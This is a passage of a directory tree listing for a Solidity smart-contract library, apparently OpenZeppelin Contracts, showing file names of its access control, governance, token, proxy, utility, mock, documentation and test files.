Ownable.spec │ │ │ │ │ │ ├── Ownable2Step.spec │ │ │ │ │ │ ├── Pausable.spec │ │ │ │ │ │ ├── TimelockController.spec │ │ │ │ │ │ ├── helpers │ │ │ │ │ │ └── helpers.spec │ │ │ │ │ │ └── methods │ │ │ │ │ │ ├── IAccessControl.spec │ │ │ │ │ │ ├── IAccessControlDefaultAdminRules.spec │ │ │ │ │ │ ├── IAccessManaged.spec │ │ │ │ │ │ ├── IAccessManager.spec │ │ │ │ │ │ ├── IERC20.spec │ │ │ │ │ │ ├── IERC2612.spec │ │ │ │ │ │ ├── IERC3156FlashBorrower.spec │ │ │ │ │ │ ├── IERC3156FlashLender.spec │ │ │ │ │ │ ├── IERC5313.spec │ │ │ │ │ │ ├── IERC721.spec │ │ │ │ │ │ ├── IERC721Receiver.spec │ │ │ │ │ │ ├── IOwnable.spec │ │ │ │ │ │ └── IOwnable2Step.spec │ │ │ │ │ ├── contracts │ │ │ │ │ ├── access │ │ │ │ │ │ ├── AccessControl.sol │ │ │ │ │ │ ├── IAccessControl.sol │ │ │ │ │ │ ├── Ownable.sol │ │ │ │ │ │ ├── Ownable2Step.sol │ │ │ │ │ │ ├── README.adoc │ │ │ │ │ │ ├── extensions │ │ │ │ │ │ │ ├── AccessControlDefaultAdminRules.sol │ │ │ │ │ │ │ ├── AccessControlEnumerable.sol │ │ │ │ │ │ │ ├── IAccessControlDefaultAdminRules.sol │ │ │ │ │ │ │ └── IAccessControlEnumerable.sol │ │ │ │ │ │ └── manager │ │ │ │ │ │ │ ├── AccessManaged.sol │ │ │ │ │ │ │ ├── AccessManager.sol │ │ │ │ │ │ │ ├── AuthorityUtils.sol │ │ │ │ │ │ │ ├── IAccessManaged.sol │ │ │ │ │ │ │ ├── IAccessManager.sol │ │ │ │ │ │ │ └── IAuthority.sol │ │ │ │ │ ├── account │ │ │ │ │ │ ├── README.adoc │ │ │ │ │ │ └── utils │ │ │ │ │ │ │ ├── draft-ERC4337Utils.sol │ │ │ │ │ │ │ └── draft-ERC7579Utils.sol │ │ │ │ │ ├── finance │ │ │ │ │ │ ├── README.adoc │ │ │ │ │ │ ├── VestingWallet.sol │ │ │ │ │ │ └── VestingWalletCliff.sol │ │ │ │ │ ├── governance │ │ │ │ │ │ ├── Governor.sol │ │ │ │ │ │ ├── IGovernor.sol │ │ │ │ │ │ ├── README.adoc │ │ │ │ │ │ ├── TimelockController.sol │ │ │ │ │ │ ├── extensions │ │ │ │ │ │ │ ├── GovernorCountingFractional.sol │ │ │ │ │ │ │ ├── GovernorCountingOverridable.sol │ │ │ │ │ │ │ ├── GovernorCountingSimple.sol │ │ │ │ │ │ │ ├── GovernorPreventLateQuorum.sol │ │ │ │ │ │ │ ├── GovernorSettings.sol │ │ │ │ │ │ │ ├── GovernorStorage.sol │ │ │ │ │ │ │ ├── GovernorTimelockAccess.sol │ │ │ │ │ │ │ ├── GovernorTimelockCompound.sol │ │ │ │ │ │ │ ├── GovernorTimelockControl.sol │ │ │ │ │ │ │ ├── GovernorVotes.sol │ │ │ │ │ │ │ └── GovernorVotesQuorumFraction.sol │ │ │ │ │ │ └── utils │ │ │ │ │ │ │ ├── IVotes.sol │ │ │ │ │ │ │ ├── Votes.sol │ │ │ │ │ │ │ └── VotesExtended.sol │ │ │ │ │ ├── interfaces │ │ │ │ │ │ ├── IERC1155.sol │ │ │ │ │ │ ├── IERC1155MetadataURI.sol │ │ │ │ │ │ ├── IERC1155Receiver.sol │ │ │ │ │ │ ├── IERC1271.sol │ │ │ │ │ │ ├── IERC1363.sol │ │ │ │ │ │ ├── IERC1363Receiver.sol │ │ │ │ │ │ ├── IERC1363Spender.sol │ │ │ │ │ │ ├── IERC165.sol │ │ │ │ │ │ ├── IERC1820Implementer.sol │ │ │ │ │ │ ├── IERC1820Registry.sol │ │ │ │ │ │ ├── IERC1967.sol │ │ │ │ │ │ ├── IERC20.sol │ │ │ │ │ │ ├── IERC20Metadata.sol │ │ │ │ │ │ ├── IERC2309.sol │ │ │ │ │ │ ├── IERC2612.sol │ │ │ │ │ │ ├── IERC2981.sol │ │ │ │ │ │ ├── IERC3156.sol │ │ │ │ │ │ ├── IERC3156FlashBorrower.sol │ │ │ │ │ │ ├── IERC3156FlashLender.sol │ │ │ │ │ │ ├── IERC4626.sol │ │ │ │ │ │ ├── IERC4906.sol │ │ │ │ │ │ ├── IERC5267.sol │ │ │ │ │ │ ├── IERC5313.sol │ │ │ │ │ │ ├── IERC5805.sol │ │ │ │ │ │ ├── IERC6372.sol │ │ │ │ │ │ ├── IERC721.sol │ │ │ │ │ │ ├── IERC721Enumerable.sol │ │ │ │ │ │ ├── IERC721Metadata.sol │ │ │ │ │ │ ├── IERC721Receiver.sol │ │ │ │ │ │ ├── IERC777.sol │ │ │ │ │ │ ├── IERC777Recipient.sol │ │ │ │ │ │ ├── IERC777Sender.sol │ │ │ │ │ │ ├── README.adoc │ │ │ │ │ │ ├── draft-IERC1822.sol │ │ │ │ │ │ ├── draft-IERC4337.sol │ │ │ │ │ │ ├── draft-IERC6093.sol │ │ │ │ │ │ ├── draft-IERC7579.sol │ │ │ │ │ │ └── draft-IERC7674.sol │ │ │ │ │ ├── metatx │ │ │ │ │ │ ├── ERC2771Context.sol │ │ │ │ │ │ ├── ERC2771Forwarder.sol │ │ │ │ │ │ └── README.adoc │ │ │ │ │ ├── mocks │ │ │ │ │ │ ├── AccessManagedTarget.sol │ │ │ │ │ │ ├── AccessManagerMock.sol │ │ │ │ │ │ ├── ArraysMock.sol │ │ │ │ │ │ ├── AuthorityMock.sol │ │ │ │ │ │ ├── Base64Dirty.sol │ │ │ │ │ │ ├── BatchCaller.sol │ │ │ │ │ │ ├── CallReceiverMock.sol │ │ │ │ │ │ ├── ConstructorMock.sol │ │ │ │ │ │ ├── ContextMock.sol │ │ │ │ │ │ ├── DummyImplementation.sol │ │ │ │ │ │ ├── EIP712Verifier.sol │ │ │ │ │ │ ├── ERC1271WalletMock.sol │ │ │ │ │ │ ├── ERC165 │ │ │ │ │ │ │ ├── ERC165InterfacesSupported.sol │ │ │ │ │ │ │ ├── ERC165MaliciousData.sol │ │ │ │ │ │ │ ├── ERC165MissingData.sol │ │ │ │ │ │ │ ├── ERC165NotSupported.sol │ │ │ │ │ │ │ └── ERC165ReturnBomb.sol │ │ │ │ │ │ ├── ERC2771ContextMock.sol │ │ │ │ │ │ ├── ERC3156FlashBorrowerMock.sol │ │ │ │ │ │ ├── EtherReceiverMock.sol │ │ │ │ │ │ ├── InitializableMock.sol │ │ │ │ │ │ ├── MerkleProofCustomHashMock.sol │ │ │ │ │ │ ├── MerkleTreeMock.sol │ │ │ │ │ │ ├── MulticallHelper.sol │ │ │ │ │ │ ├── MultipleInheritanceInitializableMocks.sol │ │ │ │ │ │ ├── PausableMock.sol │ │ │ │ │ │ ├── ReentrancyAttack.sol │ │ │ │ │ │ ├── ReentrancyMock.sol │ │ │ │ │ │ ├── ReentrancyTransientMock.sol │ │ │ │ │ │ ├── RegressionImplementation.sol │ │ │ │ │ │ ├── SingleInheritanceInitializableMocks.sol │ │ │ │ │ │ ├── Stateless.sol │ │ │ │ │ │ ├── StorageSlotMock.sol │ │ │ │ │ │ ├── TimelockReentrant.sol │ │ │ │ │ │ ├── TransientSlotMock.sol │ │ │ │ │ │ ├── UpgradeableBeaconMock.sol │ │ │ │ │ │ ├── VotesExtendedMock.sol │ │ │ │ │ │ ├── VotesMock.sol │ │ │ │ │ │ ├── account │ │ │ │ │ │ │ └── utils │ │ │ │ │ │ │ │ └── ERC7579UtilsMock.sol │ │ │ │ │ │ ├── compound │ │ │ │ │ │ │ └── CompTimelock.sol │ │ │ │ │ │ ├── docs │ │ │ │ │ │ │ ├── ERC20WithAutoMinerReward.sol │ │ │ │ │ │ │ ├── ERC4626Fees.sol │ │ │ │ │ │ │ ├── MyNFT.sol │ │ │ │ │ │ │ ├── access-control │ │ │ │ │ │ │ │ ├── AccessControlERC20MintBase.sol │ │ │ │ │ │ │ │ ├── AccessControlERC20MintMissing.sol │ │ │ │ │ │ │ │ ├── AccessControlERC20MintOnlyRole.sol │ │ │ │ │ │ │ │ ├── AccessControlModified.sol │ │ │ │ │ │ │ │ ├── AccessControlNonRevokableAdmin.sol │ │ │ │ │ │ │ │ ├── AccessManagedERC20MintBase.sol │ │ │ │ │ │ │ │ └── MyContractOwnable.sol │ │ │ │ │ │ │ ├── governance │ │ │ │ │ │ │ │ ├── MyGovernor.sol │ │ │ │ │ │ │ │ ├── MyToken.sol │ │ │ │ │ │ │ │ ├── MyTokenTimestampBased.sol │ │ │ │ │ │ │ │ └── MyTokenWrapped.sol │ │ │ │ │ │ │ ├── token │ │ │ │ │ │ │ │ ├── ERC1155 │ │ │ │ │ │ │ │ │ ├── GameItems.sol │ │ │ │ │ │ │ │ │ └── MyERC115HolderContract.sol │ │ │ │ │ │ │ │ ├── ERC20 │ │ │ │ │ │ │ │ │ └── GLDToken.sol │ │ │ │ │ │ │ │ └── ERC721 │ │ │ │ │ │ │ │ │ └── GameItem.sol │ │ │ │ │ │ │ └── utilities │ │ │ │ │ │ │ │ ├── Base64NFT.sol │ │ │ │ │ │ │ │ └── Multicall.sol │ │ │ │ │ │ ├── governance │ │ │ │ │ │ │ ├── GovernorCountingOverridableMock.sol │ │ │ │ │ │ │ ├── GovernorFractionalMock.sol │ │ │ │ │ │ │ ├── GovernorMock.sol │ │ │ │ │ │ │ ├── GovernorPreventLateQuorumMock.sol │ │ │ │ │ │ │ ├── GovernorStorageMock.sol │ │ │ │ │ │ │ ├── GovernorTimelockAccessMock.sol │ │ │ │ │ │ │ ├── GovernorTimelockCompoundMock.sol │ │ │ │ │ │ │ ├── GovernorTimelockControlMock.sol │ │ │ │ │ │ │ ├── GovernorVoteMock.sol │ │ │ │ │ │ │ └── GovernorWithParamsMock.sol │ │ │ │ │ │ ├── proxy │ │ │ │ │ │ │ ├── BadBeacon.sol │ │ │ │ │ │ │ ├── ClashingImplementation.sol │ │ │ │ │ │ │ └── UUPSUpgradeableMock.sol │ │ │ │ │ │ └── token │ │ │ │ │ │ │ ├── ERC1155ReceiverMock.sol │ │ │ │ │ │ │ ├── ERC1363ForceApproveMock.sol │ │ │ │ │ │ │ ├── ERC1363NoReturnMock.sol │ │ │ │ │ │ │ ├── ERC1363ReceiverMock.sol │ │ │ │ │ │ │ ├── ERC1363ReturnFalseMock.sol │ │ │ │ │ │ │ ├── ERC1363SpenderMock.sol │ │ │ │ │ │ │ ├── ERC20ApprovalMock.sol │ │ │ │ │ │ │ ├── ERC20DecimalsMock.sol │ │ │ │ │ │ │ ├── ERC20ExcessDecimalsMock.sol │ │ │ │ │ │ │ ├── ERC20FlashMintMock.sol │ │ │ │ │ │ │ ├── ERC20ForceApproveMock.sol │ │ │ │ │ │ │ ├── ERC20GetterHelper.sol │ │ │ │ │ │ │ ├── ERC20Mock.sol │ │ │ │ │ │ │ ├── ERC20MulticallMock.sol │ │ │ │ │ │ │ ├── ERC20NoReturnMock.sol │ │ │ │ │ │ │ ├── ERC20Reentrant.sol │ │ │ │ │ │ │ ├── ERC20ReturnFalseMock.sol │ │ │ │ │ │ │ ├── ERC20VotesAdditionalCheckpointsMock.sol │ │ │ │ │ │ │ ├── ERC20VotesLegacyMock.sol │ │ │ │ │ │ │ ├── ERC20VotesTimestampMock.sol │ │ │ │ │ │ │ ├── ERC4626LimitsMock.sol │ │ │ │ │ │ │ ├── ERC4626Mock.sol │ │ │ │ │ │ │ ├── ERC4626OffsetMock.sol │ │ │ │ │ │ │ ├── ERC4646FeesMock.sol │ │ │ │ │ │ │ ├── ERC721ConsecutiveEnumerableMock.sol │ │ │ │ │ │ │ ├── ERC721ConsecutiveMock.sol │ │ │ │ │ │ │ ├── ERC721ReceiverMock.sol │ │ │ │ │ │ │ └── ERC721URIStorageMock.sol │ │ │ │ │ ├── package.json │ │ │ │ │ ├── proxy │ │ │ │ │ │ ├── Clones.sol │ │ │ │ │ │ ├── ERC1967 │ │ │ │ │ │ │ ├── ERC1967Proxy.sol │ │ │ │ │ │ │ └── ERC1967Utils.sol │ │ │ │ │ │ ├── Proxy.sol │ │ │ │ │ │ ├── README.adoc │ │ │ │ │ │ ├── beacon │ │ │ │ │ │ │ ├── BeaconProxy.sol │ │ │ │ │ │ │ ├── IBeacon.sol │ │ │ │ │ │ │ └── UpgradeableBeacon.sol │ │ │ │ │ │ ├── transparent │ │ │ │ │ │ │ ├── ProxyAdmin.sol │ │ │ │ │ │ │ └── TransparentUpgradeableProxy.sol │ │ │ │ │ │ └── utils │ │ │ │ │ │ │ ├── Initializable.sol │ │ │ │ │ │ │ └── UUPSUpgradeable.sol │ │ │ │ │ ├── token │ │ │ │ │ │ ├── ERC1155 │ │ │ │ │ │ │ ├── ERC1155.sol │ │ │ │ │ │ │ ├── IERC1155.sol │ │ │ │ │ │ │ ├── IERC1155Receiver.sol │ │ │ │ │ │ │ ├── README.adoc │ │ │ │ │ │ │ ├── extensions │ │ │ │ │ │ │ │ ├── ERC1155Burnable.sol │ │ │ │ │ │ │ │ ├── ERC1155Pausable.sol │ │ │ │ │ │ │ │ ├── ERC1155Supply.sol │ │ │ │ │ │ │ │ ├── ERC1155URIStorage.sol │ │ │ │ │ │ │ │ └── IERC1155MetadataURI.sol │ │ │ │ │ │ │ └── utils │ │ │ │ │ │ │ │ ├── ERC1155Holder.sol │ │ │ │ │ │ │ │ └── ERC1155Utils.sol │ │ │ │ │ │ ├── ERC20 │ │ │ │ │ │ │ ├── ERC20.sol │ │ │ │ │ │ │ ├── IERC20.sol │ │ │ │ │ │ │ ├── README.adoc │ │ │ │ │ │ │ ├── extensions │ │ │ │ │ │ │ │ ├── ERC1363.sol │ │ │ │ │ │ │ │ ├── ERC20Burnable.sol │ │ │ │ │ │ │ │ ├── ERC20Capped.sol │ │ │ │ │ │ │ │ ├── ERC20FlashMint.sol │ │ │ │ │ │ │ │ ├── ERC20Pausable.sol │ │ │ │ │ │ │ │ ├── ERC20Permit.sol │ │ │ │ │ │ │ │ ├── ERC20Votes.sol │ │ │ │ │ │ │ │ ├── ERC20Wrapper.sol │ │ │ │ │ │ │ │ ├── ERC4626.sol │ │ │ │ │ │ │ │ ├── IERC20Metadata.sol │ │ │ │ │ │ │ │ ├── IERC20Permit.sol │ │ │ │ │ │ │ │ └── draft-ERC20TemporaryApproval.sol │ │ │ │ │ │ │ └── utils │ │ │ │ │ │ │ │ ├── ERC1363Utils.sol │ │ │ │ │ │ │ │ └── SafeERC20.sol │ │ │ │ │ │ ├── ERC721 │ │ │ │ │ │ │ ├── ERC721.sol │ │ │ │ │ │ │ ├── IERC721.sol │ │ │ │ │ │ │ ├── IERC721Receiver.sol │ │ │ │ │ │ │ ├── README.adoc │ │ │ │ │ │ │ ├── extensions │ │ │ │ │ │ │ │ ├── ERC721Burnable.sol │ │ │ │ │ │ │ │ ├── ERC721Consecutive.sol │ │ │ │ │ │ │ │ ├── ERC721Enumerable.sol │ │ │ │ │ │ │ │ ├── ERC721Pausable.sol │ │ │ │ │ │ │ │ ├── ERC721Royalty.sol │ │ │ │ │ │ │ │ ├── ERC721URIStorage.sol │ │ │ │ │ │ │ │ ├── ERC721Votes.sol │ │ │ │ │ │ │ │ ├── ERC721Wrapper.sol │ │ │ │ │ │ │ │ ├── IERC721Enumerable.sol │ │ │ │ │ │ │ │ └── IERC721Metadata.sol │ │ │ │ │ │ │ └── utils │ │ │ │ │ │ │ │ ├── ERC721Holder.sol │ │ │ │ │ │ │ │ └── ERC721Utils.sol │ │ │ │ │ │ └── common │ │ │ │ │ │ │ ├── ERC2981.sol │ │ │ │ │ │ │ └── README.adoc │ │ │ │ │ ├── utils │ │ │ │ │ │ ├── Address.sol │ │ │ │ │ │ ├── Arrays.sol │ │ │ │ │ │ ├── Base64.sol │ │ │ │ │ │ ├── Bytes.sol │ │ │ │ │ │ ├── CAIP10.sol │ │ │ │ │ │ ├── CAIP2.sol │ │ │ │ │ │ ├── Comparators.sol │ │ │ │ │ │ ├── Context.sol │ │ │ │ │ │ ├── Create2.sol │ │ │ │ │ │ ├── Errors.sol │ │ │ │ │ │ ├── Multicall.sol │ │ │ │ │ │ ├── Nonces.sol │ │ │ │ │ │ ├── NoncesKeyed.sol │ │ │ │ │ │ ├── Packing.sol │ │ │ │ │ │ ├── Panic.sol │ │ │ │ │ │ ├── Pausable.sol │ │ │ │ │ │ ├── README.adoc │ │ │ │ │ │ ├── ReentrancyGuard.sol │ │ │ │ │ │ ├── ReentrancyGuardTransient.sol │ │ │ │ │ │ ├── ShortStrings.sol │ │ │ │ │ │ ├── SlotDerivation.sol │ │ │ │ │ │ ├── StorageSlot.sol │ │ │ │ │ │ ├── Strings.sol │ │ │ │ │ │ ├── TransientSlot.sol │ │ │ │ │ │ ├── cryptography │ │ │ │ │ │ │ ├── ECDSA.sol │ │ │ │ │ │ │ ├── EIP712.sol │ │ │ │ │ │ │ ├── Hashes.sol │ │ │ │ │ │ │ ├── MerkleProof.sol │ │ │ │ │ │ │ ├── MessageHashUtils.sol │ │ │ │ │ │ │ ├── P256.sol │ │ │ │ │ │ │ ├── RSA.sol │ │ │ │ │ │ │ └── SignatureChecker.sol │ │ │ │ │ │ ├── introspection │ │ │ │ │ │ │ ├── ERC165.sol │ │ │ │ │ │ │ ├── ERC165Checker.sol │ │ │ │ │ │ │ └── IERC165.sol │ │ │ │ │ │ ├── math │ │ │ │ │ │ │ ├── Math.sol │ │ │ │ │ │ │ ├── SafeCast.sol │ │ │ │ │ │ │ └── SignedMath.sol │ │ │ │ │ │ ├── structs │ │ │ │ │ │ │ ├── BitMaps.sol │ │ │ │ │ │ │ ├── Checkpoints.sol │ │ │ │ │ │ │ ├── CircularBuffer.sol │ │ │ │ │ │ │ ├── DoubleEndedQueue.sol │ │ │ │ │ │ │ ├── EnumerableMap.sol │ │ │ │ │ │ │ ├── EnumerableSet.sol │ │ │ │ │ │ │ ├── Heap.sol │ │ │ │ │ │ │ └── MerkleTree.sol │ │ │ │ │ │ └── types │ │ │ │ │ │ │ └── Time.sol │ │ │ │ │ └── vendor │ │ │ │ │ │ └── compound │ │ │ │ │ │ ├── ICompoundTimelock.sol │ │ │ │ │ │ └── LICENSE │ │ │ │ │ ├── docs │ │ │ │ │ ├── README.md │ │ │ │ │ ├── antora.yml │ │ │ │ │ ├── config.js │ │ │ │ │ ├── modules │ │ │ │ │ │ └── ROOT │ │ │ │ │ │ │ ├── images │ │ │ │ │ │ │ ├── access-control-multiple.svg │ │ │ │ │ │ │ ├── access-manager-functions.svg │ │ │ │ │ │ │ ├── access-manager.svg │ │ │ │ │ │ │ ├── erc4626-attack-3a.png │ │ │ │ │ │ │ ├── erc4626-attack-3b.png │ │ │ │ │ │ │ ├── erc4626-attack-6.png │ │ │ │ │ │ │ ├── erc4626-attack.png │ │ │ │ │ │ │ ├── erc4626-deposit.png │ │ │ │ │ │ │ ├── erc4626-mint.png │ │ │ │ │ │ │ ├── erc4626-rate-linear.png │ │ │ │ │ │ │ ├── erc4626-rate-loglog.png │ │ │ │ │ │ │ ├── erc4626-rate-loglogext.png │ │ │ │ │ │ │ ├── tally-exec.png │ │ │ │ │ │ │ └── tally-vote.png │ │ │ │ │ │ │ ├── nav.adoc │ │ │ │ │ │ │ └── pages │ │ │ │ │ │ │ ├── access-control.adoc │ │ │ │ │ │ │ ├── backwards-compatibility.adoc │ │ │ │ │ │ │ ├── crowdsales.adoc │ │ │ │ │ │ │ ├── drafts.adoc │ │ │ │ │ │ │ ├── erc1155.adoc │ │ │ │ │ │ │ ├── erc20-supply.adoc │ │ │ │ │ │ │ ├── erc20.adoc │ │ │ │ │ │ │ ├── erc4626.adoc │ │ │ │ │ │ │ ├── erc721.adoc │ │ │ │ │ │ │ ├── extending-contracts.adoc │ │ │ │ │ │ │ ├── faq.adoc │ │ │ │ │ │ │ ├── governance.adoc │ │ │ │ │ │ │ ├── index.adoc │ │ │ │ │ │ │ ├── tokens.adoc │ │ │ │ │ │ │ ├── upgradeable.adoc │ │ │ │ │ │ │ ├── utilities.adoc │ │ │ │ │ │ │ └── wizard.adoc │ │ │ │ │ └── templates │ │ │ │ │ │ ├── contract.hbs │ │ │ │ │ │ ├── helpers.js │ │ │ │ │ │ ├── page.hbs │ │ │ │ │ │ └── properties.js │ │ │ │ │ ├── eslint.config.mjs │ │ │ │ │ ├── foundry.toml │ │ │ │ │ ├── fv-requirements.txt │ │ │ │ │ ├── hardhat.config.js │ │ │ │ │ ├── hardhat │ │ │ │ │ ├── async-test-sanity.js │ │ │ │ │ ├── env-artifacts.js │ │ │ │ │ ├── ignore-unreachable-warnings.js │ │ │ │ │ ├── remappings.js │ │ │ │ │ ├── skip-foundry-tests.js │ │ │ │ │ └── task-test-get-files.js │ │ │ │ │ ├── lib │ │ │ │ │ ├── erc4626-tests │ │ │ │ │ │ ├── ERC4626.prop.sol │ │ │ │ │ │ ├── ERC4626.test.sol │ │ │ │ │ │ ├── LICENSE │ │ │ │ │ │ └── README.md │ │ │ │ │ ├── forge-std │ │ │ │ │ │ ├── .gitattributes │ │ │ │ │ │ ├── .github │ │ │ │ │ │ │ └── workflows │ │ │ │ │ │ │ │ ├── ci.yml │ │ │ │ │ │ │ │ └── sync.yml │ │ │ │ │ │ ├── .gitignore │ │ │ │ │ │ ├── CONTRIBUTING.md │ │ │ │ │ │ ├── LICENSE-APACHE │ │ │ │ │ │ ├── LICENSE-MIT │ │ │ │ │ │ ├── README.md │ │ │ │ │ │ ├── foundry.toml │ │ │ │ │ │ ├── package.json │ │ │ │ │ │ ├── scripts │ │ │ │ │ │ │ └── vm.py │ │ │ │ │ │ └── test │ │ │ │ │ │ │ ├── StdAssertions.t.sol │ │ │ │ │ │ │ ├── StdChains.t.sol │ │ │ │ │ │ │ ├── StdCheats.t.sol │ │ │ │ │ │ │ ├── StdError.t.sol │ │ │ │ │ │ │ ├── StdJson.t.sol │ │ │ │ │ │ │ ├── StdMath.t.sol │ │ │ │ │ │ │ ├── StdStorage.t.sol │ │ │ │ │ │ │ ├── StdStyle.t.sol │ │ │ │ │ │ │ ├── StdToml.t.sol │ │ │ │ │ │ │ ├── StdUtils.t.sol │ │ │ │ │ │ │ ├── Vm.t.sol │ │ │ │ │ │ │ ├── compilation │ │ │ │ │ │ │ ├── CompilationScript.sol │ │ │ │ │ │ │ ├── CompilationScriptBase.sol │ │ │ │ │ │ │ ├── CompilationTest.sol │ │ │ │ │ │ │ └── CompilationTestBase.sol │ │ │ │ │ │ │ ├── fixtures │ │ │ │ │ │ │ ├── broadcast.log.json │ │ │ │ │ │ │ ├── test.json │ │ │ │ │ │ │ └── test.toml │ │ │ │ │ │ │ └── mocks │ │ │ │ │ │ │ ├── MockERC20.t.sol │ │ │ │ │ │ │ └── MockERC721.t.sol │ │ │ │ │ └── halmos-cheatcodes │ │ │ │ │ │ ├── LICENSE │ │ │ │ │ │ └── README.md │ │ │ │ │ ├── logo.svg │ │ │ │ │ ├── netlify.toml │ │ │ │ │ ├── package-lock.json │ │ │ │ │ ├── package.json │ │ │ │ │ ├── remappings.txt │ │ │ │ │ ├── renovate.json │ │ │ │ │ ├── scripts │ │ │ │ │ ├── checks │ │ │ │ │ │ ├── compare-layout.js │ │ │ │ │ │ ├── compareGasReports.js │ │ │ │ │ │ ├── coverage.sh │ │ │ │ │ │ ├── extract-layout.js │ │ │ │ │ │ ├── generation.sh │ │ │ │ │ │ ├── inheritance-ordering.js │ │ │ │ │ │ └── pragma-consistency.js │ │ │ │ │ ├── gen-nav.js │ │ │ │ │ ├── generate │ │ │ │ │ │ ├── format-lines.js │ │ │ │ │ │ ├── helpers │ │ │ │ │ │ │ └── sanitize.js │ │ │ │ │ │ ├── run.js │ │ │ │ │ │ └── templates │ │ │ │ │ │ │ ├── Arrays.js │ │ │ │ │ │ │ ├── Arrays.opts.js │ │ │ │ │ │ │ ├── Checkpoints.js │ │ │ │ │ │ │ ├── Checkpoints.opts.js │ │ │ │ │ │ │ ├── Checkpoints.t.js │ │ │ │ │ │ │ ├── EnumerableMap.js │ │ │ │ │ │ │ ├── EnumerableMap.opts.js │ │ │ │ │ │ │ ├── EnumerableSet.js │ │ │ │ │ │ │ ├── EnumerableSet.opts.js │ │ │ │ │ │ │ ├── MerkleProof.js │ │ │ │ │ │ │ ├── MerkleProof.opts.js │ │ │ │ │ │ │ ├── Packing.js │ │ │ │ │ │ │ ├── Packing.opts.js │ │ │ │ │ │ │ ├── Packing.t.js │ │ │ │ │ │ │ ├── SafeCast.js │ │ │ │ │ │ │ ├── Slot.opts.js │ │ │ │ │ │ │ ├── SlotDerivation.js │ │ │ │ │ │ │ ├── SlotDerivation.t.js │ │ │ │ │ │ │ ├── StorageSlot.js │ │ │ │ │ │ │ ├── StorageSlotMock.js │ │ │ │ │ │ │ ├── TransientSlot.js │ │ │ │ │ │ │ ├── TransientSlotMock.js │ │ │ │ │ │ │ └── conversion.js │ │ │ │ │ ├── git-user-config.sh │ │ │ │ │ ├── helpers.js │ │ │ │ │ ├── prepack.sh │ │ │ │ │ ├── prepare-docs.sh │ │ │ │ │ ├── prepare.sh │ │ │ │ │ ├── remove-ignored-artifacts.js │ │ │ │ │ ├── solhint-custom │ │ │ │ │ │ ├── index.js │ │ │ │ │ │ └── package.json │ │ │ │ │ ├── update-docs-branch.js │ │ │ │ │ └── upgradeable │ │ │ │ │ │ ├── README.md │ │ │ │ │ │ ├── patch-apply.sh │ │ │ │ │ │ ├── patch-save.sh │ │ │ │ │ │ ├── transpile-onto.sh │ │ │ │ │ │ ├── transpile.sh │ │ │ │ │ │ └── upgradeable.patch │ │ │ │ │ ├── slither.config.json │ │ │ │ │ ├── solhint.config.js │ │ │ │ │ └── test │ │ │ │ │ ├── TESTING.md │ │ │ │ │ ├── access │ │ │ │ │ ├── AccessControl.behavior.js │ │ │ │ │ ├── AccessControl.test.js │ │ │ │ │ ├── Ownable.test.js │ │ │ │ │ ├── Ownable2Step.test.js │ │ │ │ │ ├── extensions │ │ │ │ │ │ ├── AccessControlDefaultAdminRules.test.js │ │ │ │ │ │ └── AccessControlEnumerable.test.js │ │ │ │ │ └── manager │ │ │ │ │ │ ├── AccessManaged.test.js │ │ │ │ │ │ ├── AccessManager.behavior.js │ │ │ │ │ │ ├── AccessManager.predicate.js │ │ │ │ │ │ ├── AccessManager.test.js │ │ │ │ │ │ └── AuthorityUtils.test.js │ │ │ │ │ ├── account │ │ │ │ │ └── utils │ │ │ │ │ │ ├── draft-ERC4337Utils.test.js │ │ │ │ │ │ └── draft-ERC7579Utils.test.js │ │ │ │ │ ├── finance │ │ │ │ │ ├── VestingWallet.behavior.js │ │ │ │ │ ├── VestingWallet.test.js │ │ │ │ │ └── VestingWalletCliff.test.js │ │ │ │ │ ├── governance │ │ │ │ │ ├── Governor.t.sol │ │ │ │ │ ├── Governor.test.js │ │ │ │ │ ├── TimelockController.test.js │ │ │ │ │ ├── extensions │ │ │ │ │ │ ├── GovernorCountingFractional.test.js │ │ │ │ │ │ ├── GovernorCountingOverridable.test.js │ │ │ │ │ │ ├── GovernorERC721.test.js │ │ │ │ │ │ ├── GovernorPreventLateQuorum.test.js │ │ │ │ │ │ ├── GovernorStorage.test.js │ │ │ │ │ │ ├── GovernorTimelockAccess.test.js │ │ │ │ │ │ ├── GovernorTimelockCompound.test.js │ │ │ │ │ │ ├── GovernorTimelockControl.test.js │ │ │ │ │ │ ├── GovernorVotesQuorumFraction.test.js │ │ │ │ │ │ └── GovernorWithParams.test.js │ │ │ │ │ └── utils │ │ │ │ │ │ ├── ERC6372.behavior.js │ │ │ │ │ │ ├── Votes.behavior.js │ │ │ │ │ │ ├── Votes.test.js │ │ │ │ │ │ └── VotesExtended.test.js │ │ │ │ │ ├── helpers │ │ │ │ │ ├── access-manager.js │ │ │ │ │ ├── account.js │ │ │ │ │ ├── chains.js │ │ │ │ │ ├── constants.js │ │ │ │ │ ├── deploy.js │ │ │ │ │ ├── eip712-types.js │ │ │ │ │ ├── eip712.js │ │ │ │ │ ├── enums.js │ │ │ │ │ ├── erc4337.js │ │ │ │ │ ├── erc7579.js │ │ │ │ │ ├── governance.js │ │ │ │ │ ├── iterate.js │ │ │ │ │ ├── math.js │ │ │ │ │ ├── methods.js │ │ │ │ │ ├── random.js │ │ │ │ │ ├── storage.js │ │ │ │ │ ├── strings.js │ │ │ │ │ ├── time.js │ │ │ │ │ └── txpool.js │ │ │ │ │ ├── metatx │ │ │ │ │ ├── ERC2771Context.test.js │ │ │ │ │ ├── ERC2771Forwarder.t.sol │ │ │ │ │ └── ERC2771Forwarder.test.js │ │ │ │ │ ├── proxy │ │ │ │ │ ├── Clones.behaviour.js │ │ │ │ │ ├── Clones.t.sol │ │ │ │ │ ├── Clones.test.js │ │ │ │ │ ├── ERC1967 │ │ │ │ │ │ ├── ERC1967Proxy.test.js │ │ │ │ │ │ └── ERC1967Utils.test.js │ │ │ │ │ ├── Proxy.behaviour.js │ │ │ │ │ ├── beacon │ │ │ │ │ │ ├── BeaconProxy.test.js │ │ │ │ │ │ └── UpgradeableBeacon.test.js │ │ │ │ │ ├── transparent │ │ │ │ │ │ ├── ProxyAdmin.test.js │ │ │ │ │ │ ├── TransparentUpgradeableProxy.behaviour.js │ │ │ │ │ │ └── TransparentUpgradeableProxy.test.js │ │ │ │ │ └── utils │ │ │ │ │ │ ├── Initializable.test.js │ │ │ │ │ │ └── UUPSUpgradeable.test.js │ │ │ │ │ ├── sanity.test.js │ │ │ │ │ ├── token │ │ │ │ │ ├── ERC1155 │ │ │ │ │ │ ├── ERC1155.behavior.js │ │ │ │ │ │ ├── ERC1155.test.js │ │ │ │ │ │ ├── extensions │ │ │ │ │ │ │ ├── 